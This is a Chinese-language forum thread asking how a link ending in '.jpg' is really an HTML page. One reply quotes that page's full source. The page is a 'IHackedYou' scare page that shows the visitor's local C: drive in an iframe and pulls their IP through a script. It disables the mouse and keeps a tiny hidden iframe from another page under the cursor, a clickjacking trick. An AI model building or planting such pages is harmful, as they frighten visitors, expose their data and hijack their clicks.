所谓.jpg只是扩展名而已,实际上是一个HTML文件。HTML文件的扩展名可以任意取,浏览器并不因扩展名来识别文件类型。

解决方案 »

  1.   

    开始我也是这样想的,但是身为html文件,不加.html或.htm扩展名访问会是错的!
    例如:把上面的网址后家上.htm就不成了!!
    二楼兄说是加密,能请教怎么样的一个加密形式呢?至少让人也有点希望啊!
      

  2.   

    双重加密
    加密了两次
    源代码如下
    <html>
    <head>
    <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
    <meta name="ProgId" content="FrontPage.Editor.Document">
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>IHackedYou&pound;&shy;&pound;&shy;&pound;&shy;&pound;&shy;&pound;&shy;&iexcl;&ordm;°&Euml;&Auml;&iquest;&Ntilde;&yacute;±&not;&ETH;&brvbar;&Oacute;é&Agrave;&Ouml;&sup3;&Ccedil;&iexcl;&raquo;http://www.haha168.com</title>
    </head><body bgcolor="#FFFFFF" text="#000000" onload="crap.style.display=''" onmousedown="return false" onmousemove="return false" ondragstart="return false" onselec="return false" onselectstart="return false" style='overflow:hidden'>
    <div id="crap" style='display:none'>
    <img src="ihackedyou.jpg" width="647" height="553">
    <div style='width:520;height:380;position:absolute;left:118;top:170'>
    <iframe src="c:\" width="520" height="380" style="z-Index:1"></iframe>
    </div>
    <div id='hehe' style='font-family:MS Sans Serif;font-size:15px;position:absolute;top:56px;left:155px'>
    <script src="ipget.asp"></div>
    <div id="mouse" style='position:absolute;top:0;left:0;height:3;width:2;z-Index:100000;overflow:hidden'><iframe src='d9pd.51.net.htm' width=100 height=100 frameborder=0 scrolling=no></iframe></div>
    <div id="up" onresize="c()"></div>
    <script language="javascript">
    function c(){
    mouse.style.left = event.x-2
    mouse.style.top = event.y-3
    }
    setInterval("up.style.width=Math.round(Math.random()*10)",1)
    </script>
    </body>
    </html>